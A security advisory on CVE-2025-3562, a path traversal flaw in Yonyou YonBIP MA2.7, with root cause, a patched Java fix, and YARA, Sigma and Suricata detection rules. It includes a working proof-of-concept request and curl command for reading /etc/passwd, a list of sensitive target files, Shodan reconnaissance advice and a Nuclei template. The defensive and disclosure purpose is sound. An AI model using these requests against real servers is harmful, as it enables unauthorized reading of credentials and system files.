CVE-2025-3562

Executive Summary

CVE-2025-3562 is a path traversal vulnerability in Yonyou YonBIP MA2.7, a cloud-based enterprise resource planning (ERP) platform. The flaw resides in the /mobsm/common/userfile endpoint, where the path parameter is passed unsanitized to a FileInputStream function. An unauthenticated attacker can exploit this to read arbitrary files on the server, potentially exposing sensitive configuration files, credentials, or business data. The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, and the vendor has not responded to disclosure attempts. No patch is currently available, making this a high-risk, unpatched vulnerability for any organization using YonBIP MA2.7.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application vulnerability. However, organizations using YonBIP should treat this as a critical supply chain risk, as the vendor has not provided a patch or official advisory.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) → Re-evaluated: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (file read)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the impact is limited to file disclosure, the lack of authentication and public exploit availability increases the risk. An attacker could read sensitive files like database configuration, API keys, or internal network details.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the Java-based YonBIP application. The endpoint /mobsm/common/userfile accepts a path parameter that is used to open a file via FileInputStream. The application fails to validate or sanitize the path input, allowing an attacker to use ../ sequences to escape the intended directory.

Root Cause: The FileInputStream constructor is called with the user-supplied path without checking for traversal sequences or restricting the base directory. This is a common flaw in Java applications that do not use getCanonicalPath() or similar validation.

Attack Flow:

1. Attacker sends a GET request to /mobsm/common/userfile?path=../../../../etc/passwd.
2. The server resolves the path relative to its working directory, traversing up directories.
3. The file is read and returned in the HTTP response.

Proof-of-Concept (PoC) (from public disclosure):

GET /mobsm/common/userfile?path=../../../../etc/passwd HTTP/1.1
Host: target-yonbip.com

Vulnerable vs. Patched Code

Vulnerable Code (Java):

// Vulnerable: No path validation
String filePath = request.getParameter("path");
FileInputStream fis = new FileInputStream(filePath);
// ... read and return file content

Patched Code (Recommended):

// Patched: Validate and restrict path
String baseDir = "/var/yonyou/upload/";
String filePath = request.getParameter("path");
File file = new File(baseDir, filePath);
String canonicalPath = file.getCanonicalPath();
if (!canonicalPath.startsWith(baseDir)) {
    throw new SecurityException("Path traversal detected");
}
FileInputStream fis = new FileInputStream(file);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of YonBIP MA2.7 (e.g., using a Docker container or a test VM).
2. Ensure the /mobsm/common/userfile endpoint is accessible.

Exploitation Steps:

1. Reconnaissance: Use Shodan or manual scanning to find exposed YonBIP instances.
2. Verify Vulnerability: Send a simple path traversal request:

   curl -v "http://target/mobsm/common/userfile?path=../../../../etc/passwd"
   

3. Extract Sensitive Files:
   • Linux: /etc/passwd, /etc/shadow, /etc/nginx/nginx.conf, /var/log/nginx/access.log
   • Windows: C:\Windows\win.ini, C:\inetpub\wwwroot\web.config
4. Automate with Nuclei (if template available): (No template provided, but you can create one)

   id: yonbip-path-traversal
   info:
     name: YonBIP Path Traversal
     severity: medium
   requests:
     - method: GET
       path:
         - "{{BaseURL}}/mobsm/common/userfile?path=../../../../etc/passwd"
       matchers:
         - type: regex
           regex:
             - "root:.*:0:0:"
   

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests to /mobsm/common/userfile with path parameters containing ../ or ..\.
• Alert on unusual file reads (e.g., /etc/passwd, /etc/shadow).

Mitigation (Immediate):

• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict access to the /mobsm/common/userfile endpoint to trusted IPs only.
• If possible, disable the endpoint until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /mobsm/common/userfile with path parameter containing ../ or ..\.
  • Outbound connections from the server to unknown IPs (if attacker exfiltrates data).
• File IOCs:
  • Unexpected access to system files (e.g., /etc/passwd, /etc/shadow, web.config).
  • Log entries showing FileInputStream errors or path traversal attempts.
• System IOCs:
  • Unusual file read operations in server logs.
  • Presence of PoC scripts or tools on the server (if compromised).

Detection Engineering

YARA Rule

rule CVE_2025_3562_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against YonBIP MA2.7"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3562"
    strings:
        $s1 = "/mobsm/common/userfile" ascii wide nocase
        $s2 = "path=" ascii wide nocase
        $s3 = "../" ascii wide nocase
        $s4 = "..\\" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: YonBIP Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable YonBIP endpoint with path traversal patterns
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/mobsm/common/userfile'
        cs-uri-query|contains: 'path='
    traversal:
        cs-uri-query|contains: 
            - '../'
            - '..\\'
    condition: selection and traversal
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3562 YonBIP Path Traversal Attempt"; flow:to_server; content:"GET"; http_method; content:"/mobsm/common/userfile"; http_uri; content:"path="; http_uri; pcre:"/(\.\.\/|\.\.\\)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint /mobsm/common/userfile if not required for business operations.
2. Apply WAF rules to block path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
3. Restrict network access to the YonBIP server using firewall rules (allow only trusted IPs).
4. Monitor logs for exploitation attempts and respond accordingly.

Long-Term Fix:

• Vendor Patch: Await an official patch from Yonyou. Since the vendor is unresponsive, consider migrating to an alternative ERP solution or implementing a custom patch.
• Code Fix: If you have access to the source code, implement path validation as shown in the "Patched Code" section.
• Upgrade: If a patched version becomes available, upgrade immediately.

Workaround:

• Use a reverse proxy (e.g., Nginx) to rewrite or block requests to the vulnerable endpoint:

  location /mobsm/common/userfile {
      deny all;
      return 403;
  }
  

Valters IT
Securing Digital Frontiers